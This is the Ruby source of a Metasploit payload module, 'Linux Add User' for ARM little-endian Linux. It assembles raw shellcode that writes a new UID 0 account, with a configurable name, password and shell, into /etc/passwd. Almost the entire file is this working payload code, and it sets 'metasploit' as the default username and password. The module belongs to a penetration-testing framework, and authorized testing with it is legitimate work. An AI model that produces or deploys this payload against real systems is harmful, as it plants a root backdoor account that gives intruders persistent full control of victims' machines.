1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
###
7
#
8
# AddUser
9
# -------
10
#
11
# Adds a UID 0 user to /etc/passwd.
12
#
13
###
14
module MetasploitModule
15
  CachedSize = 119
16

17
  include Msf::Payload::Single
18
  include Msf::Payload::Linux::Armle::Prepends
19

20
  def initialize(info = {})
21
    super(
22
      merge_info(
23
        info,
24
        'Name' => 'Linux Add User',
25
        'Description' => 'Create a new user with UID 0',
26
        'Author' => [ 'Jonathan Salwan' ],
27
        'License' => MSF_LICENSE,
28
        'Platform' => 'linux',
29
        'Arch' => ARCH_ARMLE,
30
        'Privileged' => true
31
      )
32
    )
33

34
    # Register adduser options
35
    register_options(
36
      [
37
        OptString.new('USER', [ true, 'The username to create', 'metasploit' ]),
38
        OptString.new('PASS', [ true, 'The password for this user', 'metasploit' ]),
39
        OptString.new('SHELL', [ false, 'The shell for this user', '/bin/sh' ]),
40
      ]
41
    )
42
  end
43

44
  #
45
  # Dynamically builds the adduser payload based on the user's options.
46
  #
47
  def generate(_opts = {})
48
    user = datastore['USER'] || 'metasploit'
49
    pass = datastore['PASS'] || 'metasploit'
50
    shell = datastore['SHELL'] || '/bin/sh'
51
    str = "#{user}:#{pass.crypt('Az')}:0:0::/:#{shell}\n"
52
    strl1 = [ str.length + 52 ].pack('C*')
53
    strl2 = [ str.length ].pack('C*')
54
    pwdir = '/etc/passwd'
55
    "\x05\x50\x45\xe0\x01\x50\x8f\xe2\x15\xff\x2f\xe1" \
56
      "\x78\x46" + strl1 + "\x30\xff\x21\xff\x31\xff\x31" \
57
      "\xff\x31\x45\x31\xdc\x22\xc8\x32\x05\x27\x01\xdf" \
58
      "\x80\x46\x41\x46\x08\x1c\x79\x46\x18\x31\xc0\x46" +
59
      strl2 + "\x22\x04\x27\x01\xdf\x41\x46\x08\x1c\x06" \
60
      "\x27\x01\xdf\x1a\x49\x08\x1c\x01\x27\x01\xdf" +
61
      str + pwdir
62
  end
63
end
64

65